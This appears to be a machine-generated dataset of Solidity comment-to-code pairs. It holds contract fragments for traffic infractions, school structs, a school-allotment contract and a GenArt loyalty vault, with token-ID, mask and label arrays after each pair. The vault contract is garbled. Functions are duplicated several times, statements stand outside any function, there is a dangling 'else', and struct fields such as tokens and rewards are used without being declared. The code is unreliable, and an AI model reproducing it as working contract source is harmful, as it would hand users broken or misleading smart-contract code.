function setInfractionSecondPending(uint256 infractionIndex) public {
InfractionData storage infraction = infractions[infractionIndex];
bool isValidStatus = infraction.status == InfractionStatus.RECHAZADA;
require(isValidStatus, 'Invalid infraction status');
infraction.status = InfractionStatus.PENDIENTE_SEGUNDA_REVISION;
}
function setInfractionTotallyRejected(uint256 infractionIndex) public {
InfractionData storage infraction = infractions[infractionIndex];
bool isValidStatus = infraction.status == InfractionStatus.PENDIENTE_SEGUNDA_REVISION || infraction.status == InfractionStatus.APROBADA;
require(isValidStatus, 'Invalid infraction status');
infraction.status = InfractionStatus.RECHAZADA_DEFINITIVO;
}
}
|
storage is a pointer?
|
uint256[] storage infractionByCarId = infractionsByCarId[_carId];
| 14,105,418 |
[
1,
5697,
353,
279,
4407,
35,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2254,
5034,
8526,
2502,
8286,
5738,
858,
16321,
548,
273,
8286,
5738,
87,
858,
16321,
548,
63,
67,
9815,
548,
15533,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 < 0.9.0;
contract structs {
struct listaEstudiantes{
string aula;
uint cantidad;
}
//muetras los datos enviados
listaEstudiantes public escuelaa = listaEstudiantes("A", 30);
mapping (uint => uint) public PromedioAlumno; //(ID alumno => promedioGeneral)
mapping (string => mapping(string => uint)) public escuelaYAlumnos; //(ID escuela => (aulas => Aulas))
function nuevoAula(string memory _aula, uint _cantidad) public view returns (listaEstudiantes memory){
return listaEstudiantes(_aula, _cantidad);
}
function modificar(uint _cantidad) public returns(listaEstudiantes memory){
escuelaa.cantidad = _cantidad;
return escuelaa;
}
function setMapping(uint _id, uint _promedio) public{
PromedioAlumno[_id] = _promedio;
}
function setMappingescuelaYAlumnos(string memory _escuela, string memory _aulas, uint _cant) public returns(uint){
escuelaYAlumnos[_escuela][_aulas] = _cant;
return escuelaYAlumnos[_escuela][_aulas];
}
}
|
(ID escuela => (aulas => Aulas))
|
mapping (string => mapping(string => uint)) public escuelaYAlumnos;
| 12,915,951 |
[
1,
12,
734,
2904,
20317,
69,
516,
261,
69,
24857,
516,
432,
24857,
3719,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2874,
261,
1080,
516,
2874,
12,
1080,
516,
2254,
3719,
1071,
2904,
20317,
69,
61,
1067,
755,
538,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: GPL-3.0 License
pragma solidity >=0.4.25 <0.7.0;
contract school_select{
//The smart contract for the problem of selecting schools
struct school{
uint capacity; //the capacity i.e. number of seats available in school
bool round; //if the school participated in a round
}
struct student{
uint[] choices; //the array of choices of the student
bool got; //the boolean telling if the student has got a seat or not
uint admitted; //the school no. the student got, check only if the boolean value "got" is true
}
school[] public schools; //the array of schools, it is public for everyone to see them
student[] public students; //the array of students, it is also public to see which student got which school
uint public stud_count; //the number of students
uint public school_count; //the number of schools
address chairperson; //the authority
constructor() public{
//the constructor functions assign the initial default values to the contract variables
chairperson = tx.origin;
stud_count=0;
school_count=0;
}
modifier ischairperson(){
//some functions need to be called only by the chairperson, this modifier will help making such functions
require(msg.sender==chairperson,"Only chairperson can call this function");
_;
}
function school_registration(uint count1)public{
//each school will send in the number of seats available to this function and register
schools.push(school({capacity:count1,
round:false }));
school_count++;
}
function student_registration(uint[] memory pref)public{
//each student have to register through this functiom to register
//the student must provide the array of school choices of his
students.push(student({choices:pref,
got:false,
admitted:0
}));
stud_count++;
}
function school_allotted(uint i)public view returns(int){
// This function is can be used by student anytime to see if he has got a school
// If the allotment process has not been done yet, the output will be "-1" which means the process has not yet been done
if(students[i].got)
return int(students[i].admitted);
else
return -1;
}
function school_allotment()public ischairperson returns(bool){
// The function of alloting the schools to the students
// The modifier "ischairperson" ensures that only chairperson the authority can call this function
uint stud_remain=stud_count;
// Initially the remaining students are equal to the total students registered
while(stud_remain>0){ //we will run through and repeat the process till all students get the schools
for(uint i=0;i<school_count;i++){
//looping through all the schools
if(schools[i].capacity > 0){
//first check if the school has any capacity left
//otherwise don't include the school
uint best_pref=100000;
uint best_student=100000;
//setting the values to a default large value
for(uint j=0;j<stud_count;j++){
//loop through the students
if(students[j].got==false){
//first check if the student has already got any schools or not
//if they haven't got any schools then only make a step forward
uint[] memory temp=students[j].choices;
for(uint k=0;k<school_count;k++){
//run through the choices given by the student to detect the cycle
if(temp[k]==i){
// here we will select the best preference for the school and update it at each iteration if possible
if(k<best_pref){
best_pref=k;
best_student=j;
}
}
}
}
}
//now as the student with best preference has been found we shall easily complete the cycle by simple steps below
students[best_student].got=true;
students[best_student].admitted=i;
stud_remain--;
schools[i].capacity--;
// Now if the remaining students has been limited to zero, just return the function with a true statement
// we won't go any further if this happens
if(stud_remain==0)
return true;
}
}
}
//at last return the function with a true statement as all the students has been assigned schools
return true;
}
}
|
the array of students, it is also public to see which student got which school
|
student[] public students;
| 12,685,773 |
[
1,
5787,
526,
434,
10068,
4877,
16,
518,
353,
2546,
1071,
358,
2621,
1492,
18110,
2363,
1492,
18551,
1371,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
18110,
8526,
1071,
10068,
4877,
31,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xF5abAdec1bcb7d79D0E972981F13D731D5d06aA8/sources/contracts/loyalty/GenArtLoyaltyVault.sol
|
* @title GenArtValut @notice It handles the distribution of ETH loyalties/
|
contract GenArtLoyaltyVault is ReentrancyGuard, GenArtAccess {
using SafeERC20 for IERC20;
import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {IERC20, SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
struct UserInfo {
uint256[] membershipIds;
}
uint256 public totalMembershipShares;
uint256 public minimumTokenAmount = 4_000;
uint256 public minimumMembershipAmount = 1;
mapping(address => UserInfo) public userInfo;
IERC20 public immutable genartToken;
address public immutable genartMembership;
mapping(address => uint256) public lockedWithdraw;
uint256 public weightFactorTokens = 2;
uint256 public weightFactorMemberships = 1;
mapping(uint256 => address) public membershipOwners;
bool public emergencyWithdrawDisabled;
event Deposit(address indexed user, uint256 amount);
event Harvest(address indexed user, uint256 harvestedAmount);
event NewRewardPeriod(
uint256 numberBlocks,
uint256 rewardPerBlock,
uint256 reward
);
event Withdraw(address indexed user, uint256 amount, uint256[] memberships);
uint256 public constant PRECISION_FACTOR = 10**18;
uint256 public currentRewardPerBlock;
uint256 public lastUpdateBlock;
uint256 public periodEndBlock;
uint256 public rewardPerTokenStored;
uint256 public totalTokenShares;
constructor(address _genartMembership, address _genartToken) {
genartToken = IERC20(_genartToken);
genartMembership = _genartMembership;
}
modifier requireNotLocked(address user) {
require(block.timestamp > lockedWithdraw[user], "assets locked");
_;
}
function deposit(uint256[] memory membershipIds, uint256 amount)
external
nonReentrant
{
address sender = _msgSender();
_checkDeposit(sender, membershipIds, amount);
_deposit(sender, membershipIds, amount);
}
function harvest() external nonReentrant {
address sender = _msgSender();
uint256 pendingRewards = _harvest(sender);
require(pendingRewards > 0, "zero rewards to harvest");
payable(sender).transfer(pendingRewards);
}
function withdraw() external requireNotLocked(msg.sender) nonReentrant {
address sender = _msgSender();
require(userInfo[sender].tokens > 0, "zero shares");
_withdraw(sender);
}
function withdrawPartial(
uint256 amount,
uint256[] memory membershipsToWithdraw
) external requireNotLocked(msg.sender) nonReentrant {
_withdrawPartial(msg.sender, amount, membershipsToWithdraw);
}
function updateRewards(uint256 rewardDurationInBlocks)
external
payable
onlyAdmin
{
if (block.number >= periodEndBlock) {
currentRewardPerBlock = msg.value / rewardDurationInBlocks;
currentRewardPerBlock =
(msg.value +
((periodEndBlock - block.number) * currentRewardPerBlock)) /
rewardDurationInBlocks;
}
lastUpdateBlock = block.number;
periodEndBlock = block.number + rewardDurationInBlocks;
emit NewRewardPeriod(
rewardDurationInBlocks,
currentRewardPerBlock,
msg.value
);
}
function updateRewards(uint256 rewardDurationInBlocks)
external
payable
onlyAdmin
{
if (block.number >= periodEndBlock) {
currentRewardPerBlock = msg.value / rewardDurationInBlocks;
currentRewardPerBlock =
(msg.value +
((periodEndBlock - block.number) * currentRewardPerBlock)) /
rewardDurationInBlocks;
}
lastUpdateBlock = block.number;
periodEndBlock = block.number + rewardDurationInBlocks;
emit NewRewardPeriod(
rewardDurationInBlocks,
currentRewardPerBlock,
msg.value
);
}
} else {
function lockUserWithdraw(address user, uint256 toTimestamp)
external
onlyAdmin
{
if (lockedWithdraw[user] >= toTimestamp) return;
lockedWithdraw[user] = toTimestamp;
}
function setWeightFactors(
uint256 newWeightFactorTokens,
uint256 newWeightFactorMemberships
) external onlyAdmin {
weightFactorTokens = newWeightFactorTokens;
weightFactorMemberships = newWeightFactorMemberships;
}
function setMinTokenAndMembershipAmount(
uint256 minimumTokenAmount_,
uint256 minimumMembershipAmount_
) external onlyAdmin {
minimumTokenAmount = minimumTokenAmount_;
minimumMembershipAmount = minimumMembershipAmount_;
}
function disableEmergencyWithdraw() public onlyAdmin {
emergencyWithdrawDisabled = true;
}
function emergencyWithdraw() public onlyAdmin {
require(!emergencyWithdrawDisabled, "emergency withdraw disabled");
payable(owner()).transfer(address(this).balance);
}
function _checkDeposit(
address user,
uint256[] memory membershipIds,
uint256 amount
) internal view {
require(
amount >=
(
userInfo[user].membershipIds.length == 0
? minimumTokenAmount * PRECISION_FACTOR
: 0
),
"not enough tokens"
);
if (userInfo[user].membershipIds.length == 0) {
require(
membershipIds.length >= minimumMembershipAmount,
"not enough memberships"
);
}
}
function _checkDeposit(
address user,
uint256[] memory membershipIds,
uint256 amount
) internal view {
require(
amount >=
(
userInfo[user].membershipIds.length == 0
? minimumTokenAmount * PRECISION_FACTOR
: 0
),
"not enough tokens"
);
if (userInfo[user].membershipIds.length == 0) {
require(
membershipIds.length >= minimumMembershipAmount,
"not enough memberships"
);
}
}
function _getMembershipShareValue(uint256 membershipId)
internal
view
returns (uint256)
{
return
(IGenArt(genartMembership).isGoldToken(membershipId) ? 5 : 1) *
PRECISION_FACTOR;
}
function _deposit(
address user,
uint256[] memory membershipIds,
uint256 amount
) internal {
_updateReward(user);
for (uint256 i; i < membershipIds.length; i++) {
IERC721(genartMembership).transferFrom(
user,
address(this),
membershipIds[i]
);
userInfo[user].membershipIds.push(membershipIds[i]);
membershipOwners[membershipIds[i]] = user;
totalMembershipShares += _getMembershipShareValue(membershipIds[i]);
}
totalTokenShares += amount;
emit Deposit(user, amount);
}
function _deposit(
address user,
uint256[] memory membershipIds,
uint256 amount
) internal {
_updateReward(user);
for (uint256 i; i < membershipIds.length; i++) {
IERC721(genartMembership).transferFrom(
user,
address(this),
membershipIds[i]
);
userInfo[user].membershipIds.push(membershipIds[i]);
membershipOwners[membershipIds[i]] = user;
totalMembershipShares += _getMembershipShareValue(membershipIds[i]);
}
totalTokenShares += amount;
emit Deposit(user, amount);
}
genartToken.transferFrom(user, address(this), amount);
userInfo[user].tokens += amount;
function _updateReward(address _user) internal {
if (block.number != lastUpdateBlock) {
rewardPerTokenStored = _rewardPerShare();
lastUpdateBlock = _lastRewardBlock();
}
userInfo[_user].rewards = _calculatePendingRewards(_user);
userInfo[_user].userRewardPerTokenPaid = rewardPerTokenStored;
}
function _updateReward(address _user) internal {
if (block.number != lastUpdateBlock) {
rewardPerTokenStored = _rewardPerShare();
lastUpdateBlock = _lastRewardBlock();
}
userInfo[_user].rewards = _calculatePendingRewards(_user);
userInfo[_user].userRewardPerTokenPaid = rewardPerTokenStored;
}
function _withdraw(address user) internal {
uint256 pendingRewards = _harvest(user);
uint256 tokens = userInfo[user].tokens;
uint256[] memory memberships = userInfo[user].membershipIds;
userInfo[user].tokens = 0;
totalTokenShares -= tokens;
genartToken.safeTransfer(user, tokens);
for (uint256 i = memberships.length; i >= 1; i--) {
userInfo[user].membershipIds.pop();
membershipOwners[memberships[i - 1]] = address(0);
totalMembershipShares -= _getMembershipShareValue(
memberships[i - 1]
);
IERC721(genartMembership).transferFrom(
address(this),
user,
memberships[i - 1]
);
}
emit Withdraw(user, tokens, memberships);
}
function _withdraw(address user) internal {
uint256 pendingRewards = _harvest(user);
uint256 tokens = userInfo[user].tokens;
uint256[] memory memberships = userInfo[user].membershipIds;
userInfo[user].tokens = 0;
totalTokenShares -= tokens;
genartToken.safeTransfer(user, tokens);
for (uint256 i = memberships.length; i >= 1; i--) {
userInfo[user].membershipIds.pop();
membershipOwners[memberships[i - 1]] = address(0);
totalMembershipShares -= _getMembershipShareValue(
memberships[i - 1]
);
IERC721(genartMembership).transferFrom(
address(this),
user,
memberships[i - 1]
);
}
emit Withdraw(user, tokens, memberships);
}
payable(user).transfer(pendingRewards);
function _withdrawPartial(
address user,
uint256 amount,
uint256[] memory membershipsToWithdraw
) internal {
uint256 pendingRewards = _harvest(user);
uint256 tokens = userInfo[user].tokens;
uint256 remainingTokens;
uint256 remainingMemberships;
unchecked {
remainingTokens = tokens - amount;
remainingMemberships =
userInfo[user].membershipIds.length -
membershipsToWithdraw.length;
}
require(
remainingTokens >= minimumTokenAmount,
"remaining tokens less then minimumTokenAmount"
);
require(
remainingMemberships >= minimumMembershipAmount,
"remaining memberships less then minimumMembershipAmount"
);
totalTokenShares -= amount;
for (uint256 i; i < membershipsToWithdraw.length; i++) {
uint256 vaultedMembershipIndex = findArrayIndex(
userInfo[user].membershipIds,
membershipsToWithdraw[i]
);
userInfo[user].membershipIds[vaultedMembershipIndex] = userInfo[
user
].membershipIds[userInfo[user].membershipIds.length - 1];
userInfo[user].membershipIds.pop();
membershipOwners[membershipsToWithdraw[i]] = address(0);
totalMembershipShares -= _getMembershipShareValue(
membershipsToWithdraw[i]
);
IERC721(genartMembership).transferFrom(
address(this),
user,
membershipsToWithdraw[i]
);
}
emit Withdraw(user, tokens, membershipsToWithdraw);
}
function _withdrawPartial(
address user,
uint256 amount,
uint256[] memory membershipsToWithdraw
) internal {
uint256 pendingRewards = _harvest(user);
uint256 tokens = userInfo[user].tokens;
uint256 remainingTokens;
uint256 remainingMemberships;
unchecked {
remainingTokens = tokens - amount;
remainingMemberships =
userInfo[user].membershipIds.length -
membershipsToWithdraw.length;
}
require(
remainingTokens >= minimumTokenAmount,
"remaining tokens less then minimumTokenAmount"
);
require(
remainingMemberships >= minimumMembershipAmount,
"remaining memberships less then minimumMembershipAmount"
);
totalTokenShares -= amount;
for (uint256 i; i < membershipsToWithdraw.length; i++) {
uint256 vaultedMembershipIndex = findArrayIndex(
userInfo[user].membershipIds,
membershipsToWithdraw[i]
);
userInfo[user].membershipIds[vaultedMembershipIndex] = userInfo[
user
].membershipIds[userInfo[user].membershipIds.length - 1];
userInfo[user].membershipIds.pop();
membershipOwners[membershipsToWithdraw[i]] = address(0);
totalMembershipShares -= _getMembershipShareValue(
membershipsToWithdraw[i]
);
IERC721(genartMembership).transferFrom(
address(this),
user,
membershipsToWithdraw[i]
);
}
emit Withdraw(user, tokens, membershipsToWithdraw);
}
userInfo[user].tokens = remainingTokens;
genartToken.safeTransfer(user, amount);
function _withdrawPartial(
address user,
uint256 amount,
uint256[] memory membershipsToWithdraw
) internal {
uint256 pendingRewards = _harvest(user);
uint256 tokens = userInfo[user].tokens;
uint256 remainingTokens;
uint256 remainingMemberships;
unchecked {
remainingTokens = tokens - amount;
remainingMemberships =
userInfo[user].membershipIds.length -
membershipsToWithdraw.length;
}
require(
remainingTokens >= minimumTokenAmount,
"remaining tokens less then minimumTokenAmount"
);
require(
remainingMemberships >= minimumMembershipAmount,
"remaining memberships less then minimumMembershipAmount"
);
totalTokenShares -= amount;
for (uint256 i; i < membershipsToWithdraw.length; i++) {
uint256 vaultedMembershipIndex = findArrayIndex(
userInfo[user].membershipIds,
membershipsToWithdraw[i]
);
userInfo[user].membershipIds[vaultedMembershipIndex] = userInfo[
user
].membershipIds[userInfo[user].membershipIds.length - 1];
userInfo[user].membershipIds.pop();
membershipOwners[membershipsToWithdraw[i]] = address(0);
totalMembershipShares -= _getMembershipShareValue(
membershipsToWithdraw[i]
);
IERC721(genartMembership).transferFrom(
address(this),
user,
membershipsToWithdraw[i]
);
}
emit Withdraw(user, tokens, membershipsToWithdraw);
}
payable(user).transfer(pendingRewards);
function findArrayIndex(uint256[] memory array, uint256 value)
internal
pure
returns (uint256 index)
{
for (uint256 i; i < array.length; i++) {
if (array[i] == value) return i;
}
revert("value not found in array");
}
function findArrayIndex(uint256[] memory array, uint256 value)
internal
pure
returns (uint256 index)
{
for (uint256 i; i < array.length; i++) {
if (array[i] == value) return i;
}
revert("value not found in array");
}
function _harvest(address user) internal returns (uint256) {
_updateReward(user);
uint256 pendingRewards = userInfo[user].rewards;
if (pendingRewards == 0) return 0;
userInfo[user].rewards = 0;
emit Harvest(user, pendingRewards);
return pendingRewards;
}
function _lastRewardBlock() internal view returns (uint256) {
return block.number < periodEndBlock ? block.number : periodEndBlock;
}
function _rewardPerShare() internal view returns (uint256) {
if (totalTokenShares == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored +
((_lastRewardBlock() - lastUpdateBlock) * (currentRewardPerBlock));
}
function _rewardPerShare() internal view returns (uint256) {
if (totalTokenShares == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored +
((_lastRewardBlock() - lastUpdateBlock) * (currentRewardPerBlock));
}
function _calculatePendingRewards(address user)
internal
view
returns (uint256)
{
return
(((getUserShares(user)) *
(_rewardPerShare() - (userInfo[user].userRewardPerTokenPaid))) /
PRECISION_FACTOR) + userInfo[user].rewards;
}
function calculatePendingRewards(address user)
external
view
returns (uint256)
{
return _calculatePendingRewards(user);
}
function lastRewardBlock() external view returns (uint256) {
return _lastRewardBlock();
}
function rewardPerShare() external view returns (uint256) {
return _rewardPerShare();
}
function getUserShares(address user) public view returns (uint256) {
uint256 userMembershipShares;
for (uint256 i = 0; i < userInfo[user].membershipIds.length; i++) {
userMembershipShares += _getMembershipShareValue(
userInfo[user].membershipIds[i]
);
}
unchecked {
uint256 tokenShares = totalTokenShares == 0
? 0
: (weightFactorTokens *
userInfo[user].tokens *
PRECISION_FACTOR) / totalTokenShares;
uint256 membershipShares = totalMembershipShares == 0
? 0
: (weightFactorMemberships *
userMembershipShares *
PRECISION_FACTOR) / totalMembershipShares;
return
(tokenShares + membershipShares) /
(weightFactorMemberships + weightFactorTokens);
}
}
function getUserShares(address user) public view returns (uint256) {
uint256 userMembershipShares;
for (uint256 i = 0; i < userInfo[user].membershipIds.length; i++) {
userMembershipShares += _getMembershipShareValue(
userInfo[user].membershipIds[i]
);
}
unchecked {
uint256 tokenShares = totalTokenShares == 0
? 0
: (weightFactorTokens *
userInfo[user].tokens *
PRECISION_FACTOR) / totalTokenShares;
uint256 membershipShares = totalMembershipShares == 0
? 0
: (weightFactorMemberships *
userMembershipShares *
PRECISION_FACTOR) / totalMembershipShares;
return
(tokenShares + membershipShares) /
(weightFactorMemberships + weightFactorTokens);
}
}
function getUserShares(address user) public view returns (uint256) {
uint256 userMembershipShares;
for (uint256 i = 0; i < userInfo[user].membershipIds.length; i++) {
userMembershipShares += _getMembershipShareValue(
userInfo[user].membershipIds[i]
);
}
unchecked {
uint256 tokenShares = totalTokenShares == 0
? 0
